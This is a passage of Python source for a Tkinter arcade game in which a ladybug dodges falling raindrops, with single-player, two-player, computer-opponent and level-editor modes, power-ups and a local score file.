PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n 